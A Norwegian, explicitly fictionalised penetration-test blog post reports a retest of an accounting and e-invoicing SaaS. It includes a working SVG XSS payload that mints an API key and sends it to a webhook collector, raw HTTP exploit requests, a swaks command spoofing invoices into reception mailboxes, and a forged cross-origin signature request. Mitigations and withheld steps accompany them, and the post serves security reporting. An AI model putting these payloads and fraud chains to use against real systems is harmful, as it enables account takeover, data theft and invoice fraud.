Kjernen holdt, eiendommen ikke
- #pentest
- #cross-tenant
- #xss
- #csrf
- #peppol
- #security
FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Tre uker etter at jeg leverte den første rapporten til Kvittring AS (kvittringas.no), satt IT-sjefen Jonas Bakke ([email protected]) med et spørsmål jeg ikke kunne svare ordentlig på fra runde én: hva med alt det andre? Første gang testet jeg API-et på app.kvittringas.no og konkluderte med at isolasjonen holdt — det skrev jeg om her. Kjernen var solid. Denne retesten gikk utover kjernen og ut over hele eiendommen: web-appen, Peppol-infrastrukturen, fem e-postmottak, markedsdomenet. Kjernen holdt fortsatt. Eiendommen rundt den gjorde det ikke.
Resultatet ble én Kritisk og tretten Høye. Den kritiske er en fungerende kontroll på tvers av tenanter — en lagret XSS i et opplastet SVG, servert inline fra app-origen uten CSP, kjedet med en CSRF-bar utstedelse av API-nøkkel. En bruker i én tenant kan stjele en persistent API-nøkkel som tilhører en bruker i en annen tenant, med ett klikk. For en regnskapsplattform der regnskapsførere sitter med tilgang til mange klienttenanter, er det en enkelt-klikks-sti gjennom hele kundebasen.
Kontekst: hvorfor en retest, og hvorfor bredere
Første oppdrag var begrenset til REST-API-et. Konklusjonen da: tenant-isolasjon i /api/* holdt på alle stier jeg testet; det som sprakk, var API-nøkkel-scope-håndhevelse (Høy), uautentisert e-postmottak (Medium) og org.nr-enumerasjon (Medium). Det var en ærlig rapport — kjernen var godt bygget.
Retesten hadde et bredere scope: alt klienten eier, inkludert app.kvittringas.no (multi-tenant regnskap/Peppol SaaS, 198 stier / 283 operasjoner), Peppol-infrastrukturen smp.kvittringas.no + as4.kvittringas.no med sine -test-tvillinger, fem uautentiserte e-postmottak (ea, receipt, manual, expense, income.kvittringas.no), og markedsdomenet kvittringas.dk. Klienten ga meg lov til å self-provisionere kontoer og throwaway-tenanter for trygg testing.
Jeg jobber slikt med AI i loopen: en autonom, operatør-styrt motor gjør recon, kartlegger endepunkter, kjører skript og prøver angrepsvektorer. Jeg styrer scope, leser resultater, bryter inn der det trengs, og gjør de bitene som krever menneskelig dømmekraft — etikk, prioritering, den endelige vurderingen. Det betyr at jeg får plausible funn fort, og plausible feil like fort. Verdien ligger i verifiseringen som skiller de to. Denne rapporten dekker alt som ble bekreftet og dobbeltverifisert frem til runde 81, da testingen ble satt på pause på grunn av budsjettet.
Det som holdt — før det som ikke holdt
Før det dårlige: kjernen er fortsatt sterk. Jeg vil ikke male et bilde av et system i fritt fall, for det er ikke det dette er.
/api/*tenant-isolasjon holdt på alle stier jeg testet, unntatt to/api/leads/person-*-endepunkter. ForgedX-Tenant-Idfor en tenant man ikke er medlem av →401. Cross-tenant objektlesing →404/tom.- JWT/session-forging ble grundig slått ned: ES256,
kid-pinned,alg:none(fire kodinger), HS256 med ni svake secrets,jwk/jku/x5u/kid-traversal, ES256→HS256-forvirring — alle avvist. - SQL-injeksjon ble ikke funnet (Spring typed binding, rene 400 type-conversion-feil).
- Spring Actuator herdet på prod og test —
/actuator/healthoffentlig-mini, resten gjetet (302/403). Ingen heap-dump. - XXE via dokument/PDF-pipelinen ikke utnyttbar; AS4- og mottaksparsere nekter
DOCTYPE. - Ingen server-fotfeste (RCE/shell), ingen database-tilgang, ingen origin-IP-lekkasje. Appen sender mail via Gmail-API, så mail-headere lekker ikke origin. Originen sitter bak en godt konfigurert Cloudflare.
Det er viktig: eksponeringen her er i autorisasjons-/forretningslogikk-/uautentisert-mottak-laget, ikke i minnesikkerhet eller infrastruktur. Det endrer hva fiksene ser ut.
F-01 — Kritisk: kontroll på tvers av tenanter via SVG-XSS + CSRF-bar API-nøkkel
Dette er funnet som eskalerte retesten fra "flere høye" til "kritisk". Det er en kjede av tre separate svakheter som hver for seg er Høye, men som satt sammen blir utholden kontroll på tvers av tenanter.
Kjeden: (1) opplastet SVG serveres inline, same-origin, som image/svg+xml, uten CSP — lagret XSS; (2) htmx-mutasjonsruter autoriserer kun med den SameSite-løse token-cookien — ingen CSRF-token, ingen Origin-sjekk; (3) /dev/token/create utsteder en persistent tenant-API-nøkkel og renderer den inn i en full HTML-respons som et same-origin-skript kan lese. Når et offer (i en hvilken som helst tenant) åpner én lenke på den ekte app.kvittringas.no-origen, kjører angriperens skript i origenen, rider offerets sesjon for å utstede en API-nøkkel i offerets tenant, leser nøkkelen ut av responsen, og beacon-er den ut. Fordi en API-nøkkel ikke er en sesjon, overlever tilgangen offerets utlogging og passordtilbakestilling.
PoC / Reproduksjon
Forutsetninger: to self-provisionerte test-tenanter — angriper (tenant 2704, sub 2588) og offer (tenant 2702, sub 2586), begge throwaway-kontoer på engangs-adresser. Offeret har en gyldig httpOnly token-sesjon i en ekte Chrome-kontekst. En OOB-collector (webhook.site/11111111-1111-4111-8111-111111111111) er selv-testet live før bruk. Alt kjøres mot engine-eide canary-tenanter — ingen ekte kundetenant berøres.
- Opplasting (angriper, tenant 2704). En agent genererte payload-SVG-en. Lærdom fra en tidligere runde: skriptet må være CDATA-innpakket, ellers knekker en bart
&XML-parsen. Jeg satte scope og lot agenten kjøre opplastingen:
POST /api/attachments HTTP/1.1
Host: app.kvittringas.no
Cookie: token=<REDACTED>
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="invoice-scan.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="120">
<text x="10" y="60">invoice-scan.svg</text>
<script type="application/javascript"><![CDATA[
var C = "https://webhook.site/11111111-1111-4111-8111-111111111111";
fetch("/dev/token/create", { method: "POST", credentials: "include" })
.then(function (r) { return r.text(); })
.then(function (t) {
var k = t.match(/API-n[^>]*value="([^"]+)"/);
var ti = t.match(/<title>([^<]*)<\/title>/);
fetch(C + "/mint?d=" + encodeURIComponent(
(k ? k[1] : "NOKEY") + "~" + (ti ? ti[1] : "NOTITLE")));
});
]]></script>
</svg>
------boundary--HTTP/1.1 201 Created
Content-Type: application/json
{"id":18406,"filename":"invoice-scan.svg","contentType":"image/svg+xml"}- Levering (same-origin, ingen CSP, uautentisert via delt cache). Agenten hentet URL-en — først med angriperens cookie, så med ingen cookie i det hele tatt:
GET /attachments/18406/view/invoice-scan.svg HTTP/1.1
Host: app.kvittringas.noHTTP/1.1 200 OK
Content-Type: image/svg+xml
Content-Disposition: inline
Cache-Control: public, max-age=31536000, immutable
CF-Cache-Status: HIT
Content-Security-Policy: (ingen)Begge forespørslene — med cookie og uten — returnerte byte-identisk kropp (samme sha1). Skriptet er hostet på den ekte app.kvittringas.no-origen og nårbart for hvem som helst med URL-en. Cache-Control: public, immutable (se F-13 under) er grunnen til at den uautentiserte hentingen går gjennom — Cloudflare leverer fra delt edge-cache.
-
Kjøring som offer. Jeg kjørte offerets nettleser manuelt med Playwright-drevet Chrome, med offerets ekte
token-cookie injisert i konteksten, mot angriperens lenke. Nettleseren rapporterteSTATUS: 200,CT: image/svg+xml,CSP: (none). Skriptet kjørte ihttps://app.kvittringas.no-origen.document.cookie.length == 0— cookien er HttpOnly, så cookistyveri er ikke vektoren; sesjonsriding er. Same-originfetch("/dev/token/create", {credentials:"include"})returnerte200; responsen inneholdt<wa-input … label="API-nøkkel" value="u6jIcLVG…yM5CioU">og<title>Fjellheim Mh As | Tenant API Key | Kvittring</title>. Et same-origin-skript kan lese det — en blind CSRF-form kunne ikke. -
Eksfiltrasjon. Collector mottok rå nøkkel i to uavhengige pass — pass 1 med
fetch(), pass 2 mednew Image().src=…(ingen CORS-restriksjon, den virkelige kanalen). -
Replay = overtakelse. Fra en ren klient, ingen cookie, med den stjalne nøkkelen:
GET /api/me HTTP/1.1
Host: app.kvittringas.no
Authorization: Bearer u6jIcLVG…yM5CioUHTTP/1.1 200 OK
Content-Type: application/json
{"email":"<canary-offer>@<oob>","name":"Regnskap Test"}Angriperen er nå autentisert som offeret, fra en ren klient, uten sesjonscookie. Med samme nøkkel mot X-Tenant-Id: 2702: /api/invoices → 5 poster, /api/customers → 2 poster, /api/company-banks → 1 post (bank id 1393, konto NO98****11). Konfidensiell finansiell- og bankmasterdata fra en annen tenant, lest av angriperen.
- Negativ kontroll. Samme URL, cache allerede varm, men nettleser uten offerets cookie: mint-ruten returnerte
302(login), og payload beacon-erNOKEY~Login | Kvittring. Minten lykkes kun mens offerets egen sesjon rider den. Rent differensial — det er sesjonsriding, ikke noe annet.
Kjeden ble reprodusert i to uavhengige fulle pass (fresh opplastinger, fresh nettleserkontekster, ulike attachment-ID-er 18406 og 18407) og med to distinkte metoder (Playwright+curl, og Image()-beacon + Python urllib-replay mot en annen dataklasse). Funn: Critical.
Hvorfor dette er distinkt fra foreldrene. XSS-funnet alene beviste skriptkjøring i origenen, men stjal ingen credential og nådde ingen annen tenant. CSRF-funnet alene beviste blinde skriv — en cross-site form kan ikke lese responsen, så den kunne aldri hente den utstedte nøkkelen. XSS-en gir den same-origin-lesen som gjør CSRF til credential-tyveri. Og fordi en API-nøkkel er persistent, er dette kontrollovertakelse, ikke et forbigående skript.
Mitigering
Røttene er tre, og det er nummer én som dreper kjeden:
- Aldri servér brukeropplastet innhold inline fra app-origen. Flytt
/attachments/{id}/view/*til en cookie-løs sandboks-origen (usercontent.kvittringas.no), eller tvingContent-Disposition: attachment+Content-Security-Policy: default-src 'none'; sandbox+X-Content-Type-Options: nosniff. Saner/transkode SVG (strip<script>, event handlers, eksternxlink:href). Søsterruten/api/attachments/{id}/embedded-filesgjør allerede dette riktig — kopier det. Cache-Control: private, no-storepå alle autentiserte dokumentruter — og tøm eksisterende Cloudflare-cache. De cachede oppføringene lever i opptil et år underimmutable, max-age=31536000og kan ikke tilbakekalles av en app-side fiks alene.- Anti-CSRF-token + server-side Origin/Referer-validering på alle cookie-autentiserte mutasjoner, og
SameSite=Lax; Securepåtoken-cookien. - Step-up re-autentisering for API-nøkkel-utstedelse, og aldri render en fersk nøkkel inn i en full HTML-respons et same-origin-skript kan lese.
F-13 — Høy: konfidensielle vedlegg i Cloudflare delt edge-cache
Dette er halve leveringsmekanismen i F-01, og fortjener sin egen gjennomgang fordi det er en uavhengig brudd som rammer alle autentiserte dokumenter, ikke bare SVG-XSS-en.
GET /attachments/{id}/view/{filename} serverer brukeropplastede vedlegg (fakturaer, kvitteringer, kontoutskrifter, kontrakter) med Cache-Control: public, max-age=31536000, immutable. Bak Cloudflare betyr det: når den legitime eieren åpner dokumentet (cache MISS varmer kanten), leveres samme URL til enhver etterfølgende forespører — uautentisert eller en annen tenant — via en cache HIT, i opptil et år, forbi originens ellers korrekte auth- og tenant-sjekker.
PoC (sanert): Eier-tenant 2702 lastet opp en canary-PDF (id 18349) med en hemmelig markør. Eier-henting = MISS, deretter HIT. Så uautentisert GET (ingen cookie):
GET /attachments/18349/view/invoice.pdf HTTP/1.1
Host: app.kvittringas.noHTTP/1.1 200 OK
CF-Cache-Status: HIT
Cache-Control: public, max-age=31536000, immutable
%PDF-1.4 …<HEMMELIG MARKØR>…Markør hentet, reprodusert med to uavhengige HTTP-stakker (curl, Python urllib) og med en cross-tenant-cookie (2704).
Negativ kontroll — samme forespørsel med en unik ?zz=<rand> cache-buster (tvinger origin): uautentisert → 302 login; cross-tenant → 404. Originens auth og tenant-scope er intakte — lekkasjen er 100 % public-direktivet. Det er det som gjør blokken til et bevis og ikke en påstand: steg 2 alene så ut som et origin-auth-brudd; steg 3 viste at originen holder, og at skylden ligger i cachen. High.
Sekvensielle heltalls-ID-er (18347, 18348, 18349 observert) og forutsigbare filnavn (invoice.pdf, faktura.pdf) gjør det bredt utnyttbart. Fiks: Cache-Control: private, no-store på alle autentiserte dokumentruter, signerte korte-TTL-URL-er, og tøm cachen.
F-02 og F-03 — Høy: tenant-provisionering uten eierskapsbevis, og fakturasvindel-as-a-service
Dette er roten til en sammenhengende svindelkjede, og den er verdt å se som én historie.
F-02: Enhver anonym throwaway-konto kan opprette en regnskapstenant bundet til en hvilken som helst ekte norsk virksomhet som ikke allerede er kunde — uten BankID, uten Altinn, uten verifisert e-post. skipRegistryLookup er ikke en bypass (en oppdiktet org gir 503), men en ekte tredjeparts-org som ikke er kunde går rett gjennom:
POST /tenant/create HTTP/1.1
Host: app.kvittringas.no
Cookie: token=<REDACTED>
Content-Type: application/x-www-form-urlencoded
organizationNumber=998877660&skipRegistryLookup=onHTTP/1.1 200 OK
HX-Redirect: /onboardingOrg 998877660 er en ekte tredjepart. GET /company/information under angriper-sesjonen renderer ekte Brønnøysund-navn, org-nummer og adresse. Hvis org-en allerede er kunde: 400 "En annen bruker har registrert dette selskapet" — som også er en enumerasjonsorakel (F-19, re-bekreftet fra forrige oppdrag). High.
F-03 er den våpeniserte formen: fra null, seks API-kall, ingen verifisering/CAPTCHA/rate-limit, produserer angriperen en komplett, ekte Kvittring-faktura utstedt i navnet på en ekte virksomhet angriperen ikke eier, med angriper-kontrollert betalingsblokk, og får Kvittrings egen infrastruktur til å sende den — PDF vedlagt, DMARC-justert og DKIM-signert av kvittringas.dk — til en hvilken som helst mottaker, med Reply-To satt til angriperen. pdftotext av PDF-en viser den etterlignede bedriften og angriperens "ny bankkonto"-URL inne i betalingsblokken. For en regnskapsplattform er dette fakturasvindel-as-a-service: en svindler fakturerer ekte selskaper i navnet på andre ekte selskaper, fra en tiltrodd avsender, for vilkårlige beløp, med angriper-bank. Tapene lander på tredjeparter, men svindelen leveres av, merkes som og kan tilskrives Kvittring. High.
Røtfiksen for begge: krev eierskapsbevis (BankID/Altinn rapportertrolle — det norske normal for regnskap/e-fakturering) før en tenant kan bindes til en organisasjon, og krev verifisert e-post før noen utgående sending. Det ene kontrollen feller nesten hele kjeden.
F-06 til F-09 — Høy: uautentisert e-postinjeksjon i fem mottak
Kvittring eksponerer en familie mottaksadresser på formen <tenant-slug>@<rail>.kvittringas.no, der slug-en er avledet fra tenantens Brønnøysund-navn — og dermed gjetbar for alle de 259 virksomhetene enumarert via F-21. Alle skinnene deler samme defekt: ingen avsender-autentisering (ingen inbound SPF/DKIM/DMARC håndhevet), ingen per-tenant allowlist, og mailen krysser aldri Cloudflare-HTTP-kanten (så ingen WAF/rate-limit). Backendens AI/OCR-pipeline anrikker deretter angriper-dokumenter til strukturerte, betalingsklare poster i offer-tenantens regnskap.
Jeg testet fire av dem med swaks fra en forfalsket avsender-domene. Eksempel, ea.kvittringas.no (leverandørfaktura-kø):
swaks --to [email protected] \
--from spoofed@<oob> --server route1.mx.cloudflare.net:25 \
--attach /tmp/forged-invoice.pdf --header "Subject: Faktura"<-- 250 OkDeretter GET /api/invoice-reception-documents/6956 (fra en tenant jeg kontrollerte for å bevise parsingen): en fullt parset betalbar — payment.accountNumber, IBAN, BIC, auto-matchet leverandør, auto-postet kostlinje, invoiceTotalAmount 58750.00. Differensialkontroll: en annen avsender/PDF produserte en annen parset betaler — parsingen følger angriper-innholdet, ikke en mal. Tre andre skinn (receipt, manual, expense) bekreftet med samme mønster — to spoofede sendinger per skin ble til klare utgifts/GL-poster én klikk fra register-og-betal. High.
Jeg ikke trykket register-og-betal — det ville flyttet penger på den live skinnen, ut av proof-scopepe. GET på den ruten returnerte 405, som bekrefter at det er den tilstandsendrende handlingen. Det er et vurderingskall, ikke en teknisk begrensning.
Røtfiks: behandle hver *-reception-adresse som et uautentisert skrive-endepunkt inn i kundebøker og anvend én konsistent policy på tvers av alle skinn — inbound avsender-autentisering + per-tenant allowlist, uguessbare mottakstokens, obligatorisk karantene + menneskelig aksept før et dokument blir en betalbar, og aldri auto-fyll betalingsfelt fra uautentisert mail.
F-10 — Høy: e-signatur uten signatar-autentisering og uten signert artefakt
Kvittrings avtalemodul produserer norsk-rettslige kontrakter (tjeneste, arbeids, leie, kjøp, regnskapsavtaler). Signaturen har ingen bevisverdi i noen retning: (1) forfalskning — besittelse av den e-postede URL-en er tilstrekkelig for å binde den navngitte motparten via en anonym cross-origin POST med tom kropp; (2) repudiering — den lagrede PDF-en er byte-identisk før og etter "signering", og ingen post binder signaturen til en person/enhet/IP, så enhver genuin signer kan frasi seg enhver avtale.
POST /documents/sign/01901111-1111-7111-8111-111111111111 HTTP/1.1
Host: app.kvittringas.no
Origin: https://evil.example
Content-Length: 0HTTP/1.1 200 OK
Content-Type: text/plain
SignertIngen cookie. Origin fra et annet domene. API bekrefter signStatus: pending → signed, signedAt satt, attribuert til den forhåndsinnstilte signerEmail. Negativ kontroll: avtaler som kun fikk GET/HEAD ble værende pending — kun POST signerer (mail-link-skannere auto-signerer ikke). Under eIDAS/det norske regimet møter ikke dette engang en avansert elektronisk signatur. Hver utført kontrakt i produktet er kontesterbar. High.
F-14 — Høy: /api/leads/person-* eksponerer global person-PII på tvers av tenanter
Hvert annet /api/*-endepunkt er strengt tenant-avgrenset. /api/leads/person-*-familien er unntaket: den returnerer et globalt datasett, identisk på tvers av tenanter — proprietært anriket PII: org-nummer, selskap, by, fullt personName, rolle, og en linkedinSlug som mapper hver navngitt person til sin LinkedIn-profil. To uavhengige self-signup-kontoer på to ulike tenanter mottok byte-for-byte identisk JSON for samme spørring (diff = ingen output). Enumerasjon går via nextStartOrgNo. Kontroll som beviser at det er et unntak: samme konto med X-Tenant-Id for den andre tenanten mot /api/customers → 401 (isolasjon håndhevet alle andre steder). Enhver gratis konto blir et bulk person/rolle/LinkedIn-skrap-API. High.
F-11 — Høy: systemisk CSRF på htmx-mutasjonsruter
Dette er pivoten i F-01, men står også alene. htmx-laget autoriserer tilstandsendende POST/PUT/DELETE med den SameSite-løse token-cookien kun — ingen anti-CSRF-token, ingen Origin/Referer-validering, ingen HX-Request-krav. En innlogget bruker som besøker en angriper-side får vilkårlige tilstandsendringer i sin tenant.
Bekreftet mot en canary-tenant: kontroll (ingen cookie) POST /dev/token/create → 302 login (cookien er eneste gate). Med cookie + angriper-Origin → 200, utstedte en live tenant-API-nøkkel (verifisert: Authorization: Bearer <key> → /api/me 200). Også tvunget: rename/rescope/slett av API-tokens, og POST /customer injiserte en kunde (204, bekreftet på tilbakelesing). Overflaten kartlagt av agenten inkluderer kunder, leverandører, ansatte, produkter, eiendeler, ordrer, bulk fakturapåminnelser og hele API-token-livssyklusen. High.
Et tilbakeholdt skritt: Peppol-deltaker-registrering
En av de autoriserte men ikke-kjørte handlingene er verdt å nevne som et vurderingskall. F-02 (tenant uten eierskapsbevis) åpner teoretisk en sti til Peppol-deltaker-registrering: registrer en forfalsket tenant som en live Peppol-deltaker, og du kan omdirere en ekte tredjeparts innkommende e-fakturaer til deg selv. Det er protokoll-nivå fakturasvindel — verre enn mail-relay-klassen.
Jeg beskrev det teoretisk og holdt det tilbake. Å faktisk registrere en spoofed deltaker mot det live Peppol-nettverket ville ha omdirigert ekte tredjeparts e-fakturaer — det krysser linjen fra "bevis mot egen infrastruktur" til "skader en uavhengig tredjepart i produksjon". SOW §9 ekskluderer destruktive handlinger og mass PII, og dette er begge deler i praksis. Det er et eksempel på den biten som krever menneskelig dømmekraft: agenten flagget stien som "reachable og authorized"; jeg leste konsekvensen for en tredjepart og sa nei. Rapporten beskriver muligheten og forklarer hvorfor den ikke ble kjørt.
To andre autoriserte items ble heller ikke fullført og er verdt å være ærlig om: en kontrollert SMP-skrive-proof (blokkert på å skaffe gyldige SMP-admin-credentials — F-23/F-24 etablerte enumerasjons- og gjette-overflaten, men ingen passord ble knekt), og XXE via Peppol-nettverkets EHF-sti (kun nåbar over Peppol-nettverket, ikke den offentlige API-en; anbefalt for en data-seeded/Peppol-tilkoblet retest).
Blindveier som holdt
Like lærerig er det som så ut som funn og ble forkastet.
- Origin-IP-avsløring via mail-headere. En agent foreslo å avlede origin-IP fra
Received-headere i utgående mail. Jeg lot agenten analysere rå kilde fra en tester-kontrollert innboks:Received: from <REDACTED> named unknown by gmailapi.google.com. Appen sender via Gmail-API, så headere lekker ikke origin. Bekreftet på tvers av faktura-, invitasjons- og sign-forespørsel-stier. Originen er ikke eksternt gjenopprettbar via mail-vektorene — det er et positivt, og det lukket en hel angrepsklasse. alg:noneog HS-confusion. Agenten genererte fem kodinger avalg:noneog ES256→HS256-forvirring med den gjenopprettede P-256 offentlige nøkkelen. Alle avvist. Jeg bryter det ut her fordi det er fristende å anta at en ES256-JWT med enkid-pin har en forvirringsvei — den hadde det ikke.- AS4 XXE. AS4-mottaket returnerer verbose Java-feil og reflekterer innsendt XML (F-29, Low), så det så ut som en XXE-kandidat. Parseren nekter
DOCTYPE. Ikke utnyttbart — rapportert som en info-nivå recon-lekkasje, ikke et XXE.
Hva jeg lærte
- "Kjernen holdt" er ikke "eiendommen holdt." Første rapport konkluderte ærlig at API-isolasjonen var solid. Det var sant — og ufullstendig. Bredden i scope avdekket at eksponeringen flyttet seg til lagene rundt kjernen: opplasting, caching, e-postmottak, forretningslogikk. En retest som bare re-testet API-et ville bekreftet kjernen og gått glipp av det kritiske.
- Tre røtter kollapser mest av rapporten. (1) Servér aldri brukeropplastet innhold inline fra app-origen + tøm cachen; (2) krev eierskapsbevis ved tenant-provisionering og verifisert e-post ved signup; (3) én konsistent policy på tvers av alle
*-reception-skinn. Fiks disse tre, og F-01 gjennom F-09 kollapser. - En
200er ikke et funn før en konto som ikke eier objektet får den samme. Den negative kontrollen i F-13 (cache-buster tvinger origin →302/404) er det som beviste at skylden lå i cachen, ikke i originen. Uten den var det bare "et endepunkt returnerte 200." - XSS + CSRF = credential-tyveri, ikke bare skriptkjøring. CSRF alene er blindt — det kan ikke lese responsen. XSS gir same-origin-lesen som gjør CSRF til utholden kontrollovertakelse. Komposisjonen er alvorlighetsgraden, ikke komponentene hver for seg.
- Tilbakeholdte handlinger er en del av arbeidet. Peppol-deltaker-registreringen var autorisert og "reachable" og ble ikke kjørt, fordi konsekvensen for en ekte tredjepart krysset en etisk linje SOW §9 trekker. Å beskrive muligheten teoretisk og forklare nei-et er mer verdt enn å ha kjørt det.
Veien videre
Kvittring får én retest til per SOW når fiksene er på plass. Det jeg vil se først: at Cache-Control: private, no-store er satt på alle autentiserte dokumentruter og at den eksisterende Cloudflare-cachen er tømt — en app-side fiks alene etterlater opptil ett år gamle cachede konfidensielle dokumenter. Deretter eierskapsbevis ved tenant-provisionering; det er den billigste enkelkontrollen som stumper svindelkjeden. Mønsteret — retest som går bredere enn originalen og finner at lagene rundt en solid kjerne var det svake — er det samme jeg så i retesten av MSP-portalen: "alt er fikset" på den overflaten man testet, mens eiendommen under hadde egne hull. Det er grunnen jeg tar bredde i retester alvorlig — ikke som en bonus, men som selve punktet.